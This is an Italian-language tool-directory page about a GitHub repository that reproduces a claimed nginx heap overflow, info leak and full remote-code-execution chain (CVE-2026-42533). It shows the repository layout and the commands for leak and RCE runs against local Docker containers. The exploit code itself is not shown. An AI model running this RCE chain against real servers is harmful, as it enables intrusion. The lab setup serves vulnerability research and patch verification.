Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-42533 — Riproduzione proof-of-concept di un heap overflow e una fuga di informazioni in nginx (CVE-2026-42533) con due superfici di attacco, analisi di debug e una catena RCE completa. | Kitploit
Strumenti/GitHubGitHub/jelasin/cve-2026-42533
Analisi Dinamica (Sandboxing)Analisi delle VulnerabilitàAnalisi del CodiceExploitDebuggerSicurezza WebBinary Exploitation
GitHubjelasin/cve-2026-42533

CVE-2026-42533

Riproduzione proof-of-concept di un heap overflow e una fuga di informazioni in nginx (CVE-2026-42533) con due superfici di attacco, analisi di debug e una catena RCE completa.

Vedi Repository
1182 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-42533 — nginx: clobbering della cattura a due passaggi (two-pass capture clobbering)

Overflow dell'heap pre-autenticazione + leak di informazioni nel motore di script a valori complessi di nginx (0.9.6–1.30.3 / mainline ≤1.31.2); CVSS 9.2. La stessa causa radice ha due superfici di attacco: HTTP (regex location + regex map) e stream (ssl_preread + SNI + regex map).

Per analisi tecnica approfondita ed errata corrige, vedi ANALYSIS.md.

Struttura del progetto

.
├── ANALYSIS.md            # 深度分析(根因 / 两遍执行 / 动态证据 / RCE 链路 + 勘误)
├── README.md              # 本文件(索引)
├── http/                  # ① HTTP 变体黑盒复现(classmethod 触发面)
│   ├── nginx.conf             #   漏洞配置(regex location + regex map)
│   ├── docker-compose.yml     #   nginx:1.30.3(vuln,:8081) vs 1.30.4(fixed,:8082)
│   ├── test.sh                #   clobber / overflow / leak 三方向测试
│   └── repro.py               #   PoC,自动提取泄漏的堆指针/残留数据
├── debug/                # ② HTTP 变体 debug 构建 + pwndbg/gdb 动态分析
│   ├── Dockerfile(.buster) / docker-compose.yml(.buster) / nginx.debug.conf
│   ├── gdb.py                 #   两遍执行追踪 + LEN/VALUE 不一致告警(核心)
│   ├── attach.sh / extract-symbols.sh / trace_one.sh
│   ├── recon/                 #   堆布局侦察脚本(recon.py / recon2/4/5.py)
│   └── README.md              #   详见该目录
└── stream-rift/          # ③ stream 变体完整 RCE 链(已复现 echo pwned)
    ├── Dockerfile / docker-compose.yml / nginx.conf / server.py / entrypoint.sh
    ├── poc.py                 #   完整链(泄漏→喷射→伪造 pool→system),技术来自公开披露
    └── README.md              #   归属声明 + 运行说明

debug/src, debug/symbols* e debug/logs* sono generati da extract-symbols.sh (binari DWARF + albero dei sorgenti), sono in .gitignore e possono essere rigenerati.

I tre componenti

① Variante HTTP — riproduzione black-box (clobber / overflow / leak)

cd http
docker compose up -d                       # 1.30.3(vuln) + 1.30.4(fixed)
./test.sh                                  # 三方向对比
python3 repro.py --vuln http://localhost:8081 --fixed http://localhost:8082   # 解析泄漏

② Variante HTTP — build di debug + analisi dinamica con pwndbg

cd debug
docker compose build && docker compose up -d           # debug 构建(--with-debug + DWARF)
./extract-symbols.sh                                    # 拉二进制+源码到本机供 gdb
./attach.sh                                             # gdbserver 附着 worker(:2333)
gdb -x gdb.py                                           # pwndbg 加载;c 后从宿主发请求

Per i dettagli, vedi debug/README.md.

③ Variante stream — RCE completo (echo pwned > /tmp/pwn)

cd stream-rift
docker compose build && docker compose up -d            # nginx 1.31.1 (jammy/glibc2.35)
python3 poc.py --host 127.0.0.1 --port 29443 --leak                       # 泄漏 heap/libc/system
python3 poc.py --host 127.0.0.1 --port 29443 --cmd 'echo pwned > /tmp/pwn'
docker compose exec nginx-rce cat /tmp/pwn              # → pwned(属主 nobody = worker)

Attribuzione tecnica: divulgazione pubblica DepthFirstDisclosures/Nginx-Rift; per i dettagli, vedi stream-rift/README.md.

Riepilogo dei risultati

ImpattoVariante HTTPVariante stream
Leak di informazioni (heap/PIE + dati residui)✅ Stabile✅ Stabile
DoS (abort del worker)✅ Stabile✅ Stabile
Esecuzione arbitraria di codice❌ Nessun PoC pubblico (richiede ingegneria indipendente)✅ Riprodotta (stream-rift/)

La catena completa per la variante stream è valida su glibc 2.35 moderna (senza bisogno di ammorbidimenti): la dispatch dei cleanup precede la free() di ngx_destroy_pool e la chiamata a system() avviene prima dell'abort. Affidabilità "parziale" (heap feng shui, circa 1–2 hit per singolo tentativo, richiede retry); offset pinned a questa build.

Prerequisiti

Docker + Compose; gdb in locale (+ pwndbg, caricalo come preferisci); pip install requests (per http/repro.py).

Scarica lo strumento